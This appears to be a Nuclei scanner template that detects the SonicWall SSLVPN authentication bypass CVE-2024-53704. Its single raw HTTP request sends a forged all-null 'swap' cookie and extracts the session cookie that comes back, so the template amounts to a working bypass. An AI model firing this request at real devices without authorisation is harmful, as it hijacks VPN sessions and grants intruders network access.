id: CVE-2024-53704

info:
  name: "Sonicwall - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to
    bypass authentication.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-53704&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=sonicwall&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-53704
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2024,sonicwall,kev,vkev,vuln
http:
  - raw:
      - |
        GET /cgi-bin/sslvpnclient?launchplatform= HTTP/1.1
        Host: {{Hostname}}
        Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "NELaunchX1"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        regex:
          - 'Set-Cookie: swap=([a-zA-Z0-9]+);'